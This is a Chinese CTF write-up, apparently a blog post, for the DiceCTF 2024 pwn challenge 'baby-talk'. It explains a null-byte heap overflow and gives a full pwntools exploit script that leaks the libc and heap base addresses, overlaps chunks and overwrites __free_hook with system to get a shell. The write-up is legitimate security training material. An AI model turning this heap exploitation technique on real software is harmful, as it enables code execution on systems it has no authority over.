DiceCTF 2024 -- pwn

baby-talk

题目给了 Dockerfile,但由于笔者 docker 环境存在问题启动不起来,所以这里用虚拟机环境做了(没错,由于不知道远程 glibc 版本,所以笔者远程也没打通)笔者本地环境为 glibc 2.31-0ubuntu9.9。然后比赛结束,作者在 github 上给出了 libc 其版本为 2.27(乐,比赛不给…)

漏洞:溢出写 null 字节
在增加堆块时,写入内容后没有添加 \x00
在这里插入图片描述
由于上述写入时没有添加 \x00,所以这里导致可以向后溢出写 null 字节
在这里插入图片描述
举个例子就懂了:可以看到这里我们可以修改下一个堆块的 size 的低字节为 \x00 从而去 overlapping
在这里插入图片描述
漏洞利用:

  • 泄漏 libc_baseheap_base:这个比较简单,因为每次写入内容时没有添加 \x00,所以我们可以利用堆块上残余的地址进行 libc_baseheap_base 的泄漏
  • chunk overlapping 劫持 free_hook

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./chall")
#io = remote("mc.ax", 32526)
elf = ELF("./chall", checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so", checksec=False)

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> '

def add(size, string):
        sla(menu, b'1')
        sla(b'size? ', byte(size))
        sda(b'str? ', string)

def tok(idx, delim):
        sla(menu, b'2')
        sla(b'idx? ', byte(idx))
        sda(b'delim? ', delim)

def dele(idx):
        sla(menu, b'3')
        sla(b'idx? ', byte(idx))

add(0x410, b'A\n')
add(0x420, b'A\n')

dele(0)
add(0x420, b'A\n')

add(0x410, b'\n')
tok(2, b'\x00\n')
libc_base = addr8(6) - 0x1ecf0a
info("libc_base", libc_base)

dele(2)
dele(0)
add(0x420, b'A\n')
add(0x410, b'A'*0x10)
tok(2, b'\x00\n')
rut(b'A'*0x10)
heap_base = addr8(6) - 0x290
info("heap_base", heap_base)

dele(0)
dele(1)
dele(2)

add(0x20, p64(0) + p64(0x61) + p64(heap_base+0x290+0x10)*2)
add(0x18, b'A\n')
add(0x18, b'A\n')
add(0x4f8, b'A\n')
add(0x18, b'A\n')

dele(2)
add(0x18, b'A'*0x10 + b'\x60' + b'ABCDEFG')

tok(2, b'\x01\n')
tok(2, b'G\n')
tok(2, b'F\n')
tok(2, b'E\n')
tok(2, b'D\n')
tok(2, b'C\n')
tok(2, b'B\n')
tok(2, b'A\n')
dele(3)
dele(4)
dele(2)
add(0x50, b'A'*0x40 + p64(libc_base+libc.sym.__free_hook) + p64(heap_base+0x10))
add(0x10, b'/bin/sh\x00')
add(0x10, p64(libc_base+libc.sym.system))
dele(3)

#debug()
sh()

效果如下:
在这里插入图片描述
其它题目有点抽象就不看了…

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值